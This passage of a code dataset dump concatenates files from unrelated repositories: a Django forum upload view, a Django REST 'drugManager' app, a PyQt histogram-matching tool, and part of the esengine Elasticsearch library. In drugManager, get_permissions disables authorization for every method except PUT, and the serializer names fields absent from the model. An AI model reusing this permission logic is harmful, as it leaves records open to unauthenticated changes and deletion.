'/static/img/' filename = str(int(time.time())) filepath = dir + filename + ext f = open(basepath + filepath, 'wb') for line in attachment.chunks(): f.write(line) f.close() if attachment.size > 1572864: if ext == '.png': png2jpg(basepath + filepath) realpath = dir + filename + '.jpg' for infile in glob.glob(basepath + realpath): im = Image.open(infile) size = im.size im.thumbnail(size, Image.ANTIALIAS) im.save(basepath + realpath, 'jpeg') flag = True if flag: path = realpath else: path = filepath author = User.objects.get(id=authorid) thread = Thread.objects.get(id=threadid) thread.commentnum = thread.commentnum + 1 thread.save() category = Category.objects.get(nickname=categoryactive) Comment.objects.create(title=title, body=body, author=author, attachment=path, thread=thread, musicurl=musicurl, floor=thread.commentnum) return HttpResponseRedirect('/category/' + category.nickname + '/thread/' + str(thread.id)) request.session['errmsg_center'] = '信息输入错误' return HttpResponseRedirect('/category/' + category.nickname + '/thread/' + str(thread.id)) def png2jpg(path): img = cv.imread(path, 0) w, h = img.shape[::-1] infile = path outfile = os.path.splitext(infile)[0] + ".jpg" img = Image.open(infile) try: if len(img.split()) == 4: r, g, b, a = img.split() img = Image.merge("RGB", (r, g, b)) img.convert('RGB').save(outfile, quality=100) os.remove(path) else: img.convert('RGB').save(outfile, quality=100) os.remove(path) return outfile except Exception as e: pass
[ "/devproject/__init__.py", "/devproject/admin.py", "/devproject/apps.py", "/devproject/forms.py", "/devproject/migrations/0001_initial.py", "/devproject/migrations/0002_thread_lastthreadid.py", "/devproject/migrations/0003_auto_20190406_1956.py", "/devproject/migrations/0003_remove_thread_lastthreadid.py", "/devproject/migrations/0004_auto_20190407_2320.py", "/devproject/migrations/0005_merge_20190413_0912.py", "/devproject/migrations/0006_category_index.py", "/devproject/models.py", "/devproject/urls.py", "/devproject/views.py" ]
0lidaxiang/drugManager
from rest_framework import serializers from drug.models import Drug from django.utils import timezone # from jike.files.serializers import ModuleFileSerializer # import logging # logger = logging.getLogger('main') class DrugSerializer(serializers.ModelSerializer): # createTime = serializers.CharField(write_only=True) class Meta: model = Drug fields = ('userName', 'age', 'height', 'weight','bust','city', 'area', 'money', 'creditValue','image1') # Tuple of serialized model fields (see link [2]) # fields = ('userName', 'age', 'height', 'weight') modified = serializers.HiddenField(default=timezone.now) write_only_fields = ('createTime') --- FILE SEPARATOR --- from django.urls import path, include from rest_framework_nested import routers from api.views import * # from jike.hardware.views import DeviceViewSet from rest_framework_jwt.views import obtain_jwt_token, refresh_jwt_token # from jike.files.views import MarketFileViewSet, CustomerFileViewSet, StoreFileViewSet from drug.views import DrugViewSet # from login.views import LoginViewSet,UserLogout # from home.view.index import * router = routers.DefaultRouter(trailing_slash=False) # router.register(r'login', LoginViewSet) router.register(r'userinfo', DrugViewSet) # router.register(r'userLogout', UserLogout.as_view()) # customer_router = routers.NestedDefaultRouter(router, 'customers', lookup='customer', trailing_slash=False) # customer_router.register(r'files', CustomerFileViewSet) urlpatterns = [ path('', include(router.urls)), # path('accounts/', include('rest_registration.api.urls')), # path('approve/', include('jike.dingding.urls')), # path('tongtian_auth', TongtianAuthView.as_view()), # path('$', index), # path('', include('home.urls')), # path('hotUser/', hotUser), # path('aboutUs/', aboutUs), # path('login/', include('login.urls')), # path('register/', include('register.urls')), # path('userLogout/', UserLogout.as_view()), path('userinfo/', include('drug.urls')), ] --- FILE SEPARATOR --- from rest_framework.filters import BaseFilterBackend from django.db.models import Q import operator from functools import reduce class UserNameFilter(BaseFilterBackend): def filter_queryset(self, request, queryset, view): userId: str = request.query_params.get('id') if not userId: return queryset return queryset.filter(id=str(userId)) --- FILE SEPARATOR --- import django.utils.timezone as timezone from django.db import models # Create your models here. class Drug(models.Model): # id = models.AutoField(primary_key=True) name =models.CharField(max_length=100) number = models.IntegerField( blank=True, null=True) status = models.IntegerField(blank=True, null=True) endTime = models.DateTimeField('有效截止日期',default = timezone.now ) category = models.IntegerField( blank=True, null=True) source = models.CharField(max_length=20, blank=True, null=True) use = models.CharField(max_length=20, blank=True, null=True) createTime = models.DateTimeField('创建日期',default = timezone.now ) modifyTime = models.DateTimeField('修改日期',default = timezone.now ) creator = models.CharField(max_length=100, blank=True, null=True) editor = models.CharField(max_length=100, blank=True, null=True) class Meta: db_table = 'userinfo' --- FILE SEPARATOR --- #!/usr/bin/python # -*- coding: UTF-8 -*- from django.conf.urls import include, url from django.contrib import admin from drug.views import * # from drug.view.personData import * # to front-page, api-urls is in api/urls urlpatterns = [ url('^index/$', index), url('^management/$', management), url('^addPage/$', addPage), # url('^uploadPhotoIndex/$', uploadPhotoIndex), ] --- FILE SEPARATOR --- from django.shortcuts import render import rest_framework.viewsets as viewsets from rest_framework.response import Response from rest_framework.decorators import action from drug.models import Drug from django.db.models import Count from api.serializers import DrugSerializer from drug.filters import UserNameFilter from rest_framework import status from rest_framework import permissions # Create your views here. class DrugViewSet(viewsets.ModelViewSet): queryset = Drug.objects.annotate(num_ages=Count('name')) serializer_class = DrugSerializer filter_backends = viewsets.ModelViewSet.filter_backends + [UserNameFilter] filter_fields = ('userName', 'age', 'height', 'weight') ordering_fields = '__all__' ordering = ('-id') search_fields = ('userName', 'age', 'height', 'weight') # permission_classes = [ # permissions.AllowAny # Or anon users can't register # ] def get_permissions(self): if self.request.method != 'PUT': return [] return super().get_permissions() def index(request): context = {} return render(request, 'home/index.html', context) def management(request): context = {} return render(request, 'drug/management.html', context) def addPage(request): context = {} return render(request, 'drug/addPage.html', context) --- FILE SEPARATOR --- from django.conf.urls import include, url from django.contrib import admin from django.conf import settings # from home.view.index import * from django.contrib import admin from django.urls import path, include, re_path from django.conf import settings from drug import views urlpatterns = [ path('', include("drug.urls")), path('admin/', admin.site.urls), path('api/v1/', include('api.urls')), path('drug/', include("drug.urls")), # path('login/', include("login.urls")), # path('register/', include("register.urls")), # path('userinfo/', include("userinfo.urls")), ]
[ "/api/serializers.py", "/api/urls.py", "/drug/filters.py", "/drug/models.py", "/drug/urls.py", "/drug/views.py", "/drugManager/urls.py" ]
0lut/blg453e-hw1
import matplotlib.pyplot as plt from matplotlib.backends.backend_qt5agg import \ FigureCanvasQTAgg as FigureCanvas from PyQt5.QtWidgets import (QAction, QDesktopWidget, QFileDialog, QMainWindow, QSizePolicy) import utils from hist_match import calculate_hist, match_histogram class GUI(QMainWindow): def __init__(self): super().__init__() self.initUI() self.show() def initUI(self): self.init_menu() self.init_size_name() def load_input(self): filename = QFileDialog.getOpenFileName(self, 'Open Input', '.') self.input = utils.load_im(filename[0]) m = Plotter(self, width=4, height=4, img=self.input, title='Input Image') m.move(50, 50) m2 = Plotter(self, width=5, height=5, img=self.input, hist=True) m2.move(0, 450) def load_target(self): filename = QFileDialog.getOpenFileName(self, 'Open Target', '.') self.target = utils.load_im(filename[0]) m = Plotter(self, width=4, height=4, img=self.target, title='Target Image') m.move(650, 50) m2 = Plotter(self, width=5, height=5, img=self.target, hist=True) m2.move(600, 450) def match_hist(self): matched = match_histogram(self.input, self.target) m = Plotter(self, width=4, height=4, img=matched, title='Matched Image') m.move(1250, 50) m2 = Plotter(self, width=5, height=5, img=matched, hist=True) m2.move(1200, 450) def init_menu(self): menubar = self.menuBar() file = menubar.addMenu('File Operations') imageProcessing = menubar.addMenu('Image Processing') self.open_input = QAction('Open Input Image', self) self.open_target = QAction('Open Target Image', self) self.match = QAction('Match Histograms', self) self.open_input.triggered.connect(self.load_input) self.open_target.triggered.connect(self.load_target) self.match.triggered.connect(self.match_hist) file.addAction(self.open_input) file.addAction(self.open_target) imageProcessing.addAction(self.match) def init_size_name(self): self.resize(1600, 1600) frame = self.frameGeometry() centerpoint = QDesktopWidget().availableGeometry().center() frame.moveCenter(centerpoint) self.move(frame.topLeft()) self.setWindowTitle('Histogram Matching') class Plotter(FigureCanvas): def __init__(self, parent=None, width=5, height=4, dpi=100, img=None, hist=False, title=''): fig = plt.figure(figsize=(width, height), dpi=dpi) FigureCanvas.__init__(self, fig) self.setParent(parent) FigureCanvas.setSizePolicy(self, QSizePolicy.Expanding, QSizePolicy.Expanding) FigureCanvas.updateGeometry(self) if hist is not False: ay = self.figure.add_subplot(311) az = self.figure.add_subplot(312) aq = self.figure.add_subplot(313) hists = [calculate_hist(img[..., i]) for i in range(3)] ay.bar(range(256), hists[0], color='r') az.bar(range(256), hists[1], color='g') aq.bar(range(256), hists[2], color='b') else: ax = self.figure.add_subplot(111) ax.imshow(img) ax.set_title(title) self.draw() self.show() --- FILE SEPARATOR --- import numpy as np def calculate_hist(x): bins = [np.sum(x == b) for b in range(256)] return np.array(bins) def calculate_cdf(bins): A = np.sum(bins) cdf = [np.sum(bins[:i]) for i in range(1, len(bins)+1)] / A return cdf def construct_lut(x, y): LUT = np.zeros(256) g_j = 0 for g_i in range(256): while x[g_j] < y[g_i] and g_j < 255: g_j += 1 LUT[g_i] = g_j return LUT def match_histogram(input_im, target_im): matched = [] for c in range(3): input_hist = calculate_hist(input_im[:, :, c]) target_hist = calculate_hist(target_im[:, :, c]) input_cdf = calculate_cdf(input_hist) target_cdf = calculate_cdf(target_hist) LUT = construct_lut(target_cdf, input_cdf) matched.append(LUT[input_im[..., c]].copy()[..., np.newaxis]) return np.concatenate(matched, axis=2).astype(np.uint8) --- FILE SEPARATOR --- import matplotlib.pyplot as plt import numpy as np def load_im(fname): source_im = plt.imread(fname)[:, :, :3] * 255 source_im = source_im.astype(np.uint8) return source_im
[ "/gui.py", "/hist_match.py", "/utils.py" ]
0mars/esengine
extensions = [ 'sphinx.ext.autodoc', 'sphinx.ext.napoleon' ] source_suffix = '.rst' master_doc = 'index' project = 'ESEngine' copyright = '2015, catholabs.com' author = 'CathoLabs' version = 'latest' release = 'latest' html_theme = 'sphinx_rtd_theme' --- FILE SEPARATOR --- __version__ = '0.1.0' from esengine.embedded_document import EmbeddedDocument # noqa from esengine.document import Document # noqa from esengine.mapping import Mapping # noqa from esengine.fields import * # noqa from esengine.exceptions import * # noqa from esengine.utils.payload import Payload, Query, Filter, Aggregate, Suggester # noqa from esengine.utils.pagination import Pagination # noqa --- FILE SEPARATOR --- from esengine.bases.py3 import * # noqa from esengine.fields import KeywordField from esengine.exceptions import ValidationError import warnings from six import iteritems class BaseDocument(object): _strict = False _validators = None _query_fields = None def _initialize_defaults_fields(self, ignore=None): ignore = ignore or [] for key, field_instance in iteritems(self.__class__._fields): if key not in ignore: default = self.get_default_value_for_field(field_instance) setattr(self, key, default) def get_default_value_for_field(self, field_instance): default = field_instance._default if callable(default): try: default = field_instance._default(self, field_instance) except TypeError: default = field_instance._default() return default def __init__(self, *args, **kwargs): klass = self.__class__.__name__ if not hasattr(self, '_doctype'): raise ValueError('{} have no _doctype attribute'.format(klass)) if not hasattr(self, '_index'): raise ValueError('{} have no _index attribute'.format(klass)) id_field = self.__class__._fields.get("id") if id_field and not isinstance(id_field, KeywordField): warnings.warn( 'To avoid mapping problems, ' 'it is recommended to define the id field as a KeywordField' ) for key, value in iteritems(kwargs): setattr(self, key, value) self._initialize_defaults_fields(ignore=kwargs.keys()) def __setattr__(self, key, value): if (not key.startswith('_')) and key not in self._fields: raise KeyError('`{}` is an invalid field'.format(key)) field_instance = self._fields.get(key) if field_instance and not self._strict: value = field_instance.from_dict(value) super(BaseDocument, self).__setattr__(key, value) def to_dict(self, validate=True, only=None, exclude=None): """ Transform value from Python to Dict to be saved in E.S :param validate: If should validate before transform :param only: if specified only those fields will be included :param exclude: fields to exclude from dict :return: dict """ if validate: self.validate() if only: fields = { k: v for k, v in iteritems(self._fields) if k in only } elif exclude: fields = { k: v for k, v in iteritems(self._fields) if k not in exclude } else: fields = self._fields return { field_name: field_instance.to_dict( getattr(self, field_name), validate=validate ) for field_name, field_instance in iteritems(fields) } @classmethod def from_dict(cls, dct): """ Transform data read from E.S to Python Document Object :param dct: Result from E.S (hits, source as dict) :return: Instance of Document """ params = {} for field_name, field_instance in iteritems(cls._fields): serialized = dct.get(field_name) value = field_instance.from_dict(serialized) params[field_name] = value return cls(**params) @classmethod def from_es(cls, hit): """ Takes E.S hit element containing [u'_score', u'_type', u'_id', u'_source', u'_index'] :param hit: E.S hit :return: Document instance """ instance = cls.from_dict(dct=hit.get('_source', {})) instance._id = instance.id = hit.get('_id') instance._score = hit.get('_score') instance._query_fields = hit.get('fields', None) return instance def validate(self): if self._validators: for validator in self._validators: """ Functions in self._validators receives document instance should return None or raise Exception (ValidationError) or return any value """ val = validator(self) if val: raise ValidationError("Invalid: %s" % val) --- FILE SEPARATOR --- from esengine.bases.py3 import * # noqa from esengine.exceptions import RequiredField, InvalidMultiField from esengine.exceptions import FieldTypeMismatch, ValidationError from collections import Iterable class BaseField(object): _type = unicode _default = None _default_mapping = {'type': 'string'} def __init__(self, field_type=None, required=False, multi=False, field_name=None, validators=None, mapping=None, default=None, **kwargs): self._validators = validators or [] self._field_name = field_name self._mapping = mapping or {} if field_type is not None: self._type = field_type self._required = required or getattr(self, '_required', False) self._multi = multi or getattr(self, '_multi', False) if default: self._default = default elif self._multi: self._default = [] for key, value in kwargs.items(): setattr(self, key, value) def validate_field_type(self, value): if value is not None: if not isinstance(value, self._type): raise FieldTypeMismatch(self._field_name, self._type, value.__class__) def validate(self, value): if value is None: if self._required: raise RequiredField(self._field_name) else: if self._multi: if not isinstance(value, Iterable): raise InvalidMultiField(self._field_name) [self.validate_field_type(elem) for elem in value] else: self.validate_field_type(value) for validator in self._validators: """ Functions in self._validators receives field_instance, value should return None or raise Exception (ValidationError) or return any value """ val = validator(self, value) if val: raise ValidationError( 'Invalid %s, returned: %s' % (self._field_name, val) ) def to_dict(self, value, validate=True): """ Transform value from Python to be saved in E.S :param value: raw value :param validate: if should validate before transform :return: pure value """ if validate: self.validate(value) return value def from_dict(self, serialized): """ Transform data read from E.S to Python Object :param serialized: Result from E.S (string) :return: Instance or Instances of self._type """ if serialized is not None: if self._multi: return [ self._type(x) if x is not None else x for x in serialized ] return self._type(serialized) return self._default @property def mapping(self): m = dict(**self._default_mapping) m.update(self._mapping) return m --- FILE SEPARATOR --- from esengine.fields import KeywordField from esengine.bases.field import BaseField from six import iteritems class ModelMetaclass(type): def __new__(mcls, name, bases, attrs): # noqa attrs['_fields'] = {} for base in bases: if hasattr(base, '_autoid'): if base._autoid and 'id' not in attrs: attrs['id'] = KeywordField(field_name='id') break for base in bases: for key, value in iteritems(base.__dict__): if isinstance(value, BaseField): value._field_name = key attrs['_fields'][key] = value for key, value in iteritems(attrs): if isinstance(value, BaseField): value._field_name = key attrs['_fields'][key] = value cls = type.__new__(mcls, name, bases, attrs) if any(x.__name__ == 'EmbeddedDocument' for x in bases): cls._type = cls return cls --- FILE SEPARATOR --- import sys _IS_PY3 = sys.version_info > (3,) if _IS_PY3: unicode = str long = int basestring = str --- FILE SEPARATOR --- # coding: utf-8 import time import elasticsearch.helpers as eh from six import text_type HITS = 'hits' class ResultSet(object): def __init__(self, resp, model, query=None, size=None, es=None, meta=None): self._model = model self._values = self._hits = resp.get(HITS, {}).get(HITS, []) self._query = query self._es = model.get_es(es) self._size = size or len(self._values) self._meta = self._extract_meta(resp) if meta: self._meta.update(meta) self._all_values = [] def __iter__(self): return self.values def _extract_meta(self, resp): meta = {key: resp[key] for key in resp if key != HITS} if HITS in resp: hits = resp[HITS] meta[HITS] = {key: hits[key] for key in hits if key != HITS} return meta @property def meta(self): return self._meta @property def values(self): return ( self._model.from_es(hit=hit) for hit in self._hits ) @property def all_values(self): if not self._all_values: self._all_values = [i for i in self.values] return self._all_values def __getitem__(self, item): return self.all_values[item] def reload(self, sleep=1): time.sleep(sleep) self._all_values = [] resp = self._es.search( index=self._model._index, doc_type=self._model._doctype, body=self._query, size=self._size or len(self._values) ) self._hits = self._values = resp.get('hits', {}).pop('hits', []) self._meta = resp return resp def update(self, meta=None, **kwargs): if kwargs: actions = [ { '_op_type': 'update', '_index': self._model._index, '_type': self._model._doctype, '_id': doc.id, 'doc': kwargs } for doc in self.values ] return eh.bulk(self._es, actions, **meta if meta else {}) def delete(self, meta=None, **kwargs): actions = ( { '_op_type': 'delete', '_index': self._model._index, '_type': self._model._doctype, '_id': doc.id, } for doc in self.values ) return eh.bulk(self._es, actions, **meta if meta else {}) def count(self): return min(self._size, self.meta.get('hits', {}).get('total')['value']) def to_dict(self, *args, **kwargs): """ returns a list of Documents transformed in dicts [{}, {}, ...] :param args: passed to item :param kwargs: passed to item :return: """ return [item.to_dict(*args, **kwargs) for item in self.values] def get_values(self, *fields): """ if args is only one field .get_values('id') return a list of lists [123, 456, 789] If args is more than one field return a list of tuples .get_values("id", "name") [(123, "John"), (789, "mary"), ...] :param fields: a list of fields :return: """ if not fields: raise AttributeError("At least one field is required") if len(fields) > 1: return [ tuple(getattr(value, field) for field in fields) for value in self.values ] else: return [getattr(value, fields[0]) for value in self.values] def __unicode__(self): return text_type(self.__unicode__()) def __str__(self): return "<ResultSet: {i.values}>".format(i=self) --- FILE SEPARATOR --- import elasticsearch.helpers as eh from six import iteritems, with_metaclass from esengine.bases.py3 import * # noqa from esengine.bases.document import BaseDocument from esengine.bases.metaclass import ModelMetaclass from esengine.bases.result import ResultSet from esengine.mapping import Mapping from esengine.utils import validate_client from esengine.utils.payload import Payload, Filter from esengine.exceptions import ClientError class Document(with_metaclass(ModelMetaclass, BaseDocument)): """ Base Document to be extended in your models definitions >>> from elasticsearch import Elasticsearch >>> from esengine import Document, KeywordField >>> class MyDoc(Document): ... _autoid = True ... _index = 'indexname' ... _doctype = 'doctypename' ... name = KeywordField() >>> obj = MyDoc(name="Gonzo") >>> obj.save(es=Elasticsearch()) >>> MyDoc.filter(name="Gonzo") """ # If _autoid is set to False the id Field will not be automatically # included in the Document model and you will need to specify a field # called 'id' preferably a KeywordField _autoid = True # _validators is a list of callable, each one executed receiving the # document instance, and should return None # else document is invalid and will not be saved # to invalidate the callable should raise validationError or return value _validators = None @classmethod def having(cls, **kwargs): meta_attributes = ['index', 'doctype', 'es', 'autoid', 'validators', 'strict', 'fields'] for k, v in kwargs.items(): setattr(cls, "_" + k if k in meta_attributes else k, v) return cls @classmethod def get_es(cls, es): """ This proxy-method allows the client overwrite and the use of a default client for a document. Document transport methods should use cls.get_es(es).method() This method also validades that the connection is a valid ES client. :param es: The Es client or None :return: elasticsearch.ElasticSearch() instance or equivalent client """ if not es and hasattr(cls, '_es'): es = cls._es if not callable(cls._es) else cls._es() validate_client(es) return es @classmethod def refresh(cls, es=None): """ Used to refresh an index and its shards Utility for tests purposes :param es: ES client :return: ES Metadata """ return cls.get_es(es).indices.refresh() def save(self, es=None): """ Save current instance of a Document >>> obj = Document(field='value') >>> obj.save() :param es: ES client or None (if implemented a default in Model) :return: Es meta data """ doc = self.to_dict() saved_document = self.get_es(es).index( index=self._index, doc_type=self._doctype, id=self.id, # noqa body=doc ) created = saved_document.get('created') if created: self.id = saved_document['_id'] return saved_document def update(self, body=None, es=None, meta=None, **kwargs): """ Update a single document Using fields >>> Document().update(some_field="some_value") Using a body dict >>> Document().update({'some_field': "some_value"}) Or a script >>> Document().update(script="for(x in data){x}", ... lang="groovy", ... params={'data': [...]}) :param es: ES client :param meta: Extra values to be passed to client :param body: Optional values passed as dict :param kwargs: values to change :return: Update result """ body = body or {} body.update(kwargs) updated_data = self.update_by_id( self.id, body=body, es=es, meta=meta ) if 'script' not in body: for key, value in iteritems(body): setattr(self, key, value) return updated_data @classmethod def update_by_id(cls, doc_id, body=None, es=None, meta=None, **kwargs): """ Update a single document using its id on BaseClass Using fields >>> Document.update_by_id(1234, some_field="some_value") Using boy dict >>> Document.update_by_id(1234, {'some_field': 'some_value'}) Or a script >>> Document.update_by_id(1234, ... script="for(x in data){x}", ... lang="groovy", ... params={'data': [...]}) :param doc_id: The document of the id to be updated :param body: Optional values passed as dict :param es: ES client :param meta: Extra values to be passed to client :param kwargs: values to change :return: Update result """ body = body or {} body.update(kwargs) meta = meta or {} if 'script' not in body and 'doc' not in body: body = {'doc': body} updated_data = cls.get_es(es).update( index=cls._index, doc_type=cls._doctype, id=doc_id, # noqa body=body, **meta ) return updated_data def delete(self, es=None): """ Delete current instance of a Document >>> obj = Document.get(id=123) >>> obj.delete() :param es: ES client or None (if implemented a default in Model) :return: ES meta data """ return self.get_es(es).delete( index=self._index, doc_type=self._doctype, id=self.id, # noqa ) @classmethod def create(cls, es=None, **kwargs): """ Creates and returns an instance of the Document >>> Document.create(field='value') <Document: {'field': 'value'}> :param es: ES client or None (if implemented a default in Model) :param kwargs: fields and its values :return: Instance of the Document created """ instance = cls(**kwargs) instance.save(es) return instance @classmethod def all(cls, *args, **kwargs): """ Returns a ResultSet with all documents without filtering A semantic shortcut to filter() without keys :param: <See filter parameters> :return: A ResultSet with all documents in the index/type """ return cls.filter(*args, **kwargs) @classmethod def exists(cls, id, es=None, **kwargs): # noqa """ Tell if document exists on index >>> Document.exists(id=123) :param id: The _id or _uid of the object :param es: ES client or None (if implemented a default in Model) :param kwargs: extra key=value to be passed to es client :return: True or False """ return cls.get_es(es).exists( index=cls._index, doc_type=cls._doctype, id=id, **kwargs ) @classmethod def get(cls, id, es=None, **kwargs): # noqa """ A get query returning a single document by _id or _uid >>> Document.get(id=123) :param id: The _id or _uid of the object :param es: ES client or None (if implemented a default in Model) :param kwargs: extra key=value to be passed to es client :return: A single Doc object """ es = cls.get_es(es) res = es.get(index=cls._index, doc_type=cls._doctype, id=id, **kwargs) return cls.from_es(res) @classmethod def count_by_query(cls, *args, **kwargs): """ Count documents using a specific raw query example: Counting all documents having non-null name field >>> query = { ... "query": { ... "filtered": { ... "query": {"match_all": {}}, ... "filter": {"exists": {"field": "name"}} ... } ... } ... } >>> total = Document.count_by_query(query) :param args: <see .count parameters> :param kwargs: <see .count parameters> :return: Integer count """ return cls.count(_method='search', *args, **kwargs) @classmethod def count(cls, _method='filter', *args, **kwargs): """ Count documents by query or all if no param :param args: <see .filter parameters> :param _method: filter or search :param kwargs: <see .filter parameters> :return: Integer count """ kwargs['perform_count'] = True return getattr(cls, _method)(*args, **kwargs) @classmethod def filter(cls, es=None, ids=None, size=None, perform_count=False, **filters): """ A match_all query with filters >>> Document.filter(ids=[123, 456]) >>> Document.filter(name="Gonzo", city="Tunguska", size=10) :param es: ES client or None (if implemented a default in Model) :param ids: Filtering by _id or _uid :param size: size of result, default 100 :param filters: key=value parameters :param perform_count: If True, dont return objects, only count :return: Iterator of Doc objets """ es = cls.get_es(es) if ids and filters: raise ValueError( "You can't specify ids together with other filters" ) if ids: query = { "query": { "filtered": { "query": {"match_all": {}}, "filter": {"ids": {"values": list(ids)}} } } } elif filters: query = { "query": { "bool": { "must": [ {"match": {key: value}} for key, value in filters.items() ] } } } else: query = { "query": { "match_all": {} } } size = len(ids) if ids else size search_args = dict( index=cls._index, doc_type=cls._doctype, body=query ) if perform_count: return es.count(**search_args)['count'] if size: search_args['size'] = size resp = es.search(**search_args) return cls.build_result(resp, es=es, query=query, size=size) @classmethod def search(cls, query, es=None, perform_count=False, **kwargs): """ Takes a raw ES query in form of a dict or Payload and return Doc instances iterator >>> query = { ... "query": { ... "bool": { ... "must": [ ... {"match": {"name": "Gonzo"}} ... ] ... } ... } ...} >>> results = Document.search(query, size=10) :param query: raw_query(preferable) or Query or Payload instance :param es: ES client or None (if implemented a default in Model) :param perform_count: If True, dont return objects, only count :param kwargs: extra key=value to be passed to es client :return: Iterator of Doc objets NOTE: Checking istance types is expensive, please prefer to use raw queries ex: Document.search({"query": ...}) || .search(payload_instance.dict) """ if not isinstance(query, dict): # if not a raw dict query if isinstance(query, Payload): # must be a Payload instance query = query.dict elif isinstance(query, Filter): # must be a Filter query = Payload(filter=query).dict else: # or a Query to wrap query = Payload(query=query).dict es = cls.get_es(es) search_args = dict( index=cls._index, doc_type=cls._doctype, body=query, **kwargs ) if perform_count: return es.count(**search_args)['count'] return cls.build_result( es.search(**search_args), es=es, query=query, size=kwargs.get('size') ) @classmethod def build_result(cls, resp, query=None, es=None, size=None): """ Takes ES client response having ['hits']['hits'] and turns it to an generator of Doc objects :param resp: ES client raw results :param query: The query used to build the results :param es: Es client :param size: size of results :return: ResultSet: a generator of Doc objects """ if resp.get('timed_out'): raise ClientError("Timeout") return ResultSet( resp=resp, model=cls, query=query, size=size, es=cls.get_es(es) ) @classmethod def save_all(cls, docs, es=None, **kwargs): """ Save various Doc instances in bulk >>> docs = (Document(value=value) for value in [1, 2, 3]) >>> Document.save_all(docs) :param docs: Iterator of Document instances :param es: ES client or None (if implemented a default in Model) :param kwargs: Extra params to be passed to streaming_bulk :return: ES metadata """ actions = [ { '_op_type': 'index', '_index': cls._index, '_type': cls._doctype, '_id': doc.id, '_source': doc.to_dict() } for doc in docs ] return eh.bulk(cls.get_es(es), actions, **kwargs) @classmethod def update_all(cls, docs, es=None, meta=None, **kwargs): """ Update various Doc instances in bulk >>> docs = (Document(value=value) for value in [1, 2, 3]) # change all values to zero >>> Document.update_all(docs, value=0) :param docs: Iterator of Document instances :param es: ES client or None (if implemented a default in Model) :param meta: Extra values to be passed to client :param kwargs: Extra params to be passed to streaming_bulk :return: Es Metadata """ actions = ( { '_op_type': 'update', '_index': cls._index, '_type': cls._doctype, '_id': doc.id, 'doc': kwargs } for doc in docs ) return eh.bulk(cls.get_es(es), actions, **meta if meta else {}) @classmethod def delete_all(cls, docs, es=None, **kwargs): """ Delete various Doc instances in bulk >>> docs = (Document(value=value) for value in [1, 2, 3]) >>> Document.delete_all(docs) :param docs: Iterator of Document instances or a list of ids :param es: ES client or None (if implemented a default in Model) :param kwargs: Extra params to be passed to streaming_bulk :return: ES metadata """ actions = [ { '_op_type': 'delete', '_index': cls._index, '_type': cls._doctype, '_id': getattr(doc, 'id', doc), } for doc in docs ] return eh.bulk(cls.get_es(es), actions, **kwargs) @classmethod def random(cls, size=None): _query = { "query": { "function_score": { "query": {"match_all": {}}, "random_score": {} } } } results = cls.search(_query, size=size) return results @classmethod def put_mapping(cls, *args, **kwargs): """ If index does not exist it is created with mapping If exists mapping is updated :return: acknowlege """ mapping = Mapping(cls, *args, **kwargs) return mapping.save() @classmethod def init(cls, *args, **kwargs): return { 'mapping': cls.put_mapping(*args, **kwargs), 'settings': 'Not Implemented yet', 'analysers': 'Not Implemented yet' } def __unicode__(self): return unicode(self.__str__()) def __str__(self): return "<{0} {1}>".format(self.__class__.__name__, self.to_dict()) --- FILE SEPARATOR --- from collections import Iterable from esengine.bases.field import BaseField from esengine.bases.metaclass import ModelMetaclass from esengine.exceptions import RequiredField, InvalidMultiField from esengine.exceptions import FieldTypeMismatch from six import with_metaclass, iteritems class EmbeddedDocument(with_metaclass(ModelMetaclass, BaseField)): def _to_dict_element(self, real_obj): result = {} for field_name, field_class in iteritems(self._fields): value = getattr(real_obj, field_name) result.update({field_name: field_class.to_dict(value)}) return result def to_dict(self, value): if value is not None: if self._multi: return [self._to_dict_element(elem) for elem in value] return self._to_dict_element(value) def _validate_element(self, elem): if not isinstance(elem, EmbeddedDocument): raise FieldTypeMismatch(self._field_name, self.__class__._type, elem.__class__) for field_name, field_class in iteritems(self._fields): value = getattr(elem, field_name) field_class.validate(value) def validate(self, value): if value is None: if self._required: raise RequiredField(self._field_name) else: if self._multi: if not isinstance(value, Iterable): raise InvalidMultiField(self._field_name) for elem in value: self._validate_element(elem) else: self._validate_element(value) def _from_dict_element(self, dct): params = {} for field_name, field_class in iteritems(self._fields): serialized = dct.get(field_name) value = field_class.from_dict(serialized) params[field_name] = value return self.__class__(**params) def from_dict(self, serialized): if serialized is None: return None if self._multi: return [self._from_dict_element(elem) for elem in serialized] return self._from_dict_element(serialized) --- FILE SEPARATOR --- class ClientError(Exception): pass class RequiredField(Exception): pass class InvalidMultiField(Exception): pass class ValidationError(Exception): pass class PaginationError(Exception): pass class PayloadError(Exception): pass class StopPagination(Exception): pass class FieldTypeMismatch(Exception): def __init__(self, field_name, expected_type, actual_type): message = "`{}` expected `{}`, actual `{}`".format( field_name, expected_type, actual_type) Exception.__init__(self, message) --- FILE SEPARATOR --- # coding: utf-8 from esengine.bases.py3 import * # noqa from dateutil import parser from datetime import datetime from six import string_types from esengine.bases.field import BaseField from esengine.exceptions import ValidationError, FieldTypeMismatch from esengine.utils.validation import FieldValidator __all__ = [ 'IntegerField', 'LongField', 'KeywordField', 'FloatField', 'DateField', 'UuidField', 'BooleanField', 'GeoPointField', 'ArrayField', 'ObjectField' ] class IntegerField(BaseField): _type = int _default_mapping = {'type': 'integer'} class LongField(BaseField): _type = long _default_mapping = {'type': 'long'} class UuidField(BaseField): _type = unicode _default_mapping = {"store": "true", 'type': 'keyword'} class KeywordField(BaseField): _type = unicode _default_mapping = {"index": "true", "store": "true", 'type': 'keyword'} class FloatField(BaseField): _type = float _default_mapping = {'type': 'float'} class BooleanField(BaseField): _type = bool _default_mapping = {'type': 'boolean'} class ObjectField(BaseField): """ Represent a typed or schema-less object (a python dict {}) A mapping can be optionally defined in mapping argument example: >>> field = ObjectField( ... mapping={"dynamic": False, ... "properties": {"name": {"type": "string"}} ... ) The above field will not store arbitrary properties and will accepts only string type in name property If multi=True the mapping type will be changed from 'object' to 'nested' If you need a more complex definition with fields and validators please take a look at embedded_document.EmbeddedDocument """ _type = dict def __init__(self, *args, **kwargs): properties = kwargs.pop('properties', None) dynamic = kwargs.pop('dynamic', None) self._default_mapping = {'type': 'object'} self._default = {} super(ObjectField, self).__init__(*args, **kwargs) if dynamic is not None: self._default_mapping['dynamic'] = dynamic if properties is not None: self._default_mapping['properties'] = properties if self._multi: self._default_mapping['type'] = 'nested' class ArrayField(BaseField): """ ArrayField is by default a string type allowing multiple items of any type to be stored and retrieved as string It can be configured to use any of other fields as its type # to store an array of any objects as string field = ArrayField() # To store an array of integers (Float, Long etc) field = ArrayField(IntegerField()) # As ArrayField is multi by default, if an ObjectField is used, the type # is turned in to 'nested' type to allow 